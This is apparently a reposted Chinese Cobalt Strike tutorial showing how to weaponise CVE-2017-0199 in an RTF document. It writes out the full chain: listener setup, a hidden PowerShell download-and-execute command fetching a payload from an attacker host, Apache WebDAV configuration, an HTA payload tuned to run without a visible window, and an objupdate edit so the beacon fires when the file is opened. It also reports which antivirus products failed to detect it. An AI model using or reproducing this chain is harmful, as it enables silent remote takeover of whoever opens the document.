CVE-2017-0199利用OLE对象嵌入Word / RTF文档的方式,使得可以在没有用户交互的情况下执行其内容。OLE由许多不同的程序支持,OLE通常用于使在另一个程序中可用的程序中创建的内容。例如,可以在第二个RTF文件中插入和呈现RTF文档。然而,如果链接的RTF文件被替换为HTML应用程序(HTA)有效载荷,则mshta代理将执行它,从而导致远程命令执行,不需要用户交互。

在本文中,我们将解释创建一个有效的概念RTF文件的基础过程,该文件将执行Cobalt Strike Beacon有效载荷,而不需要用户交互,也不需要终端弹出窗口,因为这可以证明在Red Team中非常有用。

请在下面简要介绍相关步骤:

  1. 1.Cobalt Strike 服务器将与侦听信标一起设置,以便在受害计算机(在此实例Windows .1中实时启动Windows Defender)时,从信标有效载荷接收连接。
    
    2.将创建一个名为exploit.rtf文件的RTF ,指向一个名为CVE--0199_POC的第二个RTF文件的OLE对象(该文件将只有一些POC文本)。
    
    3.一旦exploit.rtf与CVE--0199_POC RTF文档链接,该文件将被连接到使用的payload
    
    4.该exploit.rtf
    
    5.无需用户交互自动执行HTA进行修改。

设置和生成payload

为了能够从执行的payload接收连接,需要以下步骤:

使用以下命令启动Cobalt Strike Team Server:

./teamserver x.x.x.x password

使用该命令,运行默认5050端口上的Cobal Strike Team Server。为了能够连接到服务器(使用与上一个命令设置的密码),您将需要启动客户端:

java -jar cobaltstrike.jar

客户端GUI启动后,让我们创建一个监听,从” Cobalt Strike菜单点击“ Listeners:

Cobalt Strike -> Listeners

然后填写所需的信息,如名称,有效载荷,主机和端口,然后单击添加。从我们的场景中的以下图像可以看出,使用了一个在端口4444上侦听本地IP地址的

windows/beacon_http/reverse_http 有效载荷:

单击保存以存储设置。继续输入您将使用的IP地址或任何解析的域名:

在此阶段,可以添加任何解析为之前设置的IP地址的域。

一旦你点击确定 ‘开始的监听器’将看起来像下面的截图:

一旦监听器启动,我们将需要生成在受害机器上执行的有效载荷。从Attacks -> Web Drive-by菜单中单击“Scripted Web Delivery”,如下图所示:

一旦弹出“ Scripted Web Delivery ”窗口,就会填写所需的参数。您可以修改它们以满足您的需求:

为了使脚本有效点击Launch:

这将在我们的主机上放一个名为“evil”的Powershell脚本,该脚本将在运行上一图像所示命令的受害计算机上执行:

powershell.exe -nop -w hidden -c“IEX((new-object net.webclient).downloadstring('http://172.16.17.39:80/evil'))”

总结:

  • 端口4444上的监听器已创建

  • 创建了一个反向连接指向我们的侦听器的信标有效载荷

利用环境设置

在本节中,我们将介绍第2步和第3步(请参考简介),以便将漏洞利用的环境设置为有效并且不需要用户交互。

RTF OLE链接

我们需要执行的第一步是创建CVE-2017-0199_POC RTF文档,该文档将是一个具有任意内容的简单RTF文件。在我们的情景中,它将包括一个POC文本,如下图所示:

创建一个带有POC文本的简单RTF

创建文件后,为方便起见,将其复制到本地安装的Kali,因为我们需要为OLE链接过程准备好文件,这将在后续步骤中解释。为了文件CVE-2017-0199_POC被链接,我们将需要使用Apache服务,而这需要一些调整才能有效。

# mkdir /var/www/html/word/# cp CVE--0199_POC.rtf /var/www/html/word/

这将将以前创建的文档复制到Apache的目录中,以便将文档提供给HTTP OLE链接。OLE链接过程将涉及到由服务器发送的PROPFIND请求,从而有必要使WebDav启用:

# a2enmod dav# a2enmod dav_fs# a2enmod dav_lock# a2enmod headers

如果一切顺利,您可以继续编辑apache2.conf,以指示Apache有效地为RFT文件提供服务。

为此,请使用文本编辑器编辑/etc/apache2/apache2.conf文件,并在文件末尾添加以下行:

<Directory /var/www/html/word/>Header set Content-Type “application/rtf”</Directory><Directory>Dav on</Directory>

要使更改生效,请重新启动Apache Web服务器:

#service apache2 restart

一旦Apache重新启动,我们可以通过几个简单的步骤继续进行链接过程:

  • 用Word创建一个名为exploit.rtf的RTF文件

  • 从“插入”菜单中单击“对象”,并将HTTP链接放入CVE-2017-0199_POC文档中,并勾选“链接到文件”选项,如下图所示

单击确定并保存文件。然后,文件将在“exploit”会话中进行修改,以便在没有任何用户交互的情况下触发有效载荷执行。

HTA payload创建

我们现在需要生成一个HTA有效载荷,或者简单地放置一个由负责执行这些类型文件的Microsoft mshta代理执行的代码。

我们将修改HTA以下部分,以执行我们的有效载荷:

<html><head><script>var c= 'command' new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>

要做到这一点,第一步是用我们要在受害机器上执行的Powershell命令替换’command’。

如前所述,命令如下:

powershell.exe -nop -w hidden -c“IEX((new-object net.webclient).downloadstring('http://172.16.17.39:80/evil'))

所以修改后的内容现在将显示为:

<html><head><script>var c= 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://172.16.17.39:80/evil\'))"'; new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>

看起来似乎都很好,但是如果我们尝试执行这个HTA,它会弹出一个powershell/命令提示符窗口,但是我们希望尽可能的隐身。通过进一步研究,我们发现将Run(c)字符串修改为Run(c,0)将导致我们的命令在没有任何命令提示符/ powershell弹出窗口的情况下被执行。所以最终的HTA有效载荷将如下:

<html><head><script>var c= 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://172.16.17.39:80/evil\'))"'; new ActiveXObject('WScript.Shell').Run(c,);</script></head><body><script>self.close();</script></body></html>

现在需要用这个新创建的HTA有效载荷替换“ /var/www/html/word/CVE-2017-0199_POC.rtf ”文档。

可以使用以下命令:

将HTA有效载荷保存为/var/www/html/word/payload.hta

# cp /var/www/html/word/payload.hta /var/www/html/word/ CVE--0199_POC.rtf

为了使此更改生效并触发有效载荷执行,我们将需要指示Apache将此文件作为RTF解析,而不是作为HTA。要做到这一点,只需将Content type从“ application/rtf”更改为“ application/hta ”,即可将其更改为以前编辑的/etc/apache2/apache2.conf,然后重新启动apache web服务器。

总结:

  • exploit.rtf和CVE-2017-0199_POC.rtf 之间的OLE链接已创建

  • 将创建一个将执行Beacon有效负载的HTA,并将其替换为原始的CVE-2017-0199_POC.rtf

  • Apache Web服务器被修改为将/var/html/www/word目录中的任何RTF文件为HTA提供服务,以便执行HTA有效载荷

开发

为了使有效载荷即使没有用户交互也可以执行成功,,我们将需要修改以前创建的exploit.rtf文件。我们将添加的参数是“objupdate”,顾名思义,当打开恶意exploit.rtf时,将触发自动更新/执行链接文件。为了应用此更改将需要以下命令:

sed -ie ‘s/objautlink/objautlink\\objupdate/g’ exploit.rtf

exploit.rtf现在可以发送,它将触发一个Beacon有效载荷,无需任何用户交互即可执行终端,您可以从以下截图和POC视频中看到

exploit.rtf被打开,并且不需要用户交互来触发有效负载来执行

我们的监听程序已经成功收到了一个反向HTTP连接:

杀软警告

在我们的实验室环境中,我们在Windows 8.1实例上执行有效负载,启用Windows Defender实时保护。使用Windows Defender,该文件未被标记为恶意软件。但是,我们还在安装了卡巴斯基的Small Office Security的Windows 7 SP1实例上尝试了该文件。在这种环境下,卡巴斯基将我们的文件标记为恶意文件,并阻止有效载荷执行

(转载)Cobalt Strike tutorial下针对CVE-2017-0199利用的更多相关文章

  1. 渗透神器cobalt strike在数字杀软环境下的使用

    当我们拿到cobalt strike的beacon权限时,使用它如何渗透目标内网.因为我看网上的文章都是在无杀软下写的,这难免有点脱离实战环境,本文主要测试CS的beacon在数字杀软环境下进行常规渗 ...

  2. Cobalt Strike系列教程第一章:简介与安装

    Cobalt Strike是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等多种功能.同时,Cobalt St ...

  3. 自动化渗透测试工具(Cobalt Strike)3.1 最新破解版

    自动化渗透测试工具(Cobalt Strike)3.1 最新破解版[附使用教程] Cobalt Strike是一款专业的自动化渗透测试工具,它是图形化.可视化的,图形界面非常友好,一键傻瓜化使用MSF ...

  4. CS系列(一):Cobalt Strike初体验

    0X01 环境准备 Cobalt Strike安装包(链接:https://pan.baidu.com/s/1wCHJcJrF6H0wUCdetz3Xjg 提取码:rjuj) Cobalt Strik ...

  5. Cobalt Strike学习笔记

    Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java ...

  6. cobalt strike 快速上手

    原文:https://klionsec.github.io/2017/09/23/cobalt-strike/#menu 0x01 关于 Cobalt Strike 1 2 3 一款非常优秀的后渗透平 ...

  7. 初识Cobalt Strike

    简介 Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,jav ...

  8. Cobalt Strike后渗透安装和初步使用

    Cobalt Strike安装 系统要求 Cobalt Strike要求Java 1.8,Oracle Java ,或OpenJDK . 如果你的系统上装有防病毒产品,请确保在安装 Cobalt St ...

  9. Cobalt Strike使用教程一

    Cobalt Strike使用教程一     0x00 简介 Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器.自3.0以后已经不在使用Metasploit框架而作为 ...

随机推荐

  1. jmeter逻辑控制器

    刚开始学习,只写几种了解的逻辑控制器 1.简单控制器 只用来组合采样器和其他逻辑控制器,不影响jmeter的运行 2.循环控制器 用来循环执行采样器和其他逻辑控制器,例如一个用户发送特定请求多次,即可 ...

  2. Python解包参数列表及 Lambda 表达式

    解包参数列表 当参数已经在python列表或元组中但需要为需要单独位置参数的函数调用解包时,会发生相反的情况.例如,内置的 range() 函数需要单独的 start 和 stop 参数.如果它们不能 ...

  3. rz和sz上传下载文件

    安装软件包 yum install  lrzsz   上传文件,输入rz选择文件上传(可以按住shift键多选) # rz   sz 下载文件到本地,选择保存文件夹 # sz dd   xshell设 ...

  4. Tree - Gradient Boosting Machine with sklearn source code

    This is the second post in Boosting algorithm. In the previous post, we go through the earliest Boos ...

  5. 微信小程序---scroll-view在苹果手机上触底或触顶页面闪动问题

    在项目开发中遇到一个关于scroll-view的的问题,具体如下: 项目要求是横向滚动,由于直接在scroll-view组件设置display:flex不生效,因此考虑直接在scroll-view下增 ...

  6. loadrunner socket协议问题归纳(3)

    摘要:通过实例讲解loadrunner中的socket协议性能测试的一种测试方法,如何不依赖loadrunner既定规则,自行控制收发数据包 关键词:Loadrunner,socket,自行控制,收发 ...

  7. 福大软工1816:Beta(4/7)

    Beta 冲刺 (1/7) 队名:第三视角 组长博客链接 本次作业链接 团队部分 团队燃尽图 工作情况汇报 张扬(组长) 过去两天完成了哪些任务 文字/口头描述 准备四六级 展示GitHub当日代码/ ...

  8. HDU 5646 DZY Loves Partition

    题目链接: hdu:http://acm.hdu.edu.cn/showproblem.php?pid=5646 bc:http://bestcoder.hdu.edu.cn/contests/con ...

  9. lintcode-384-最长无重复字符的子串

    384-最长无重复字符的子串 给定一个字符串,请找出其中无重复字符的最长子字符串. 样例 例如,在"abcabcbb"中,其无重复字符的最长子字符串是"abc" ...

  10. [2017BUAA软工]第一次博客作业

    一.一些疑问 看书看得比较慢,暂时只思考了以下几个问题,有些自问自答,不知道符合不符合要求…… [1] 第一章中书上提到了这样一个例子: “如果一架民用飞机上有需求,用户使用它的概率是百万分之一,你还 ...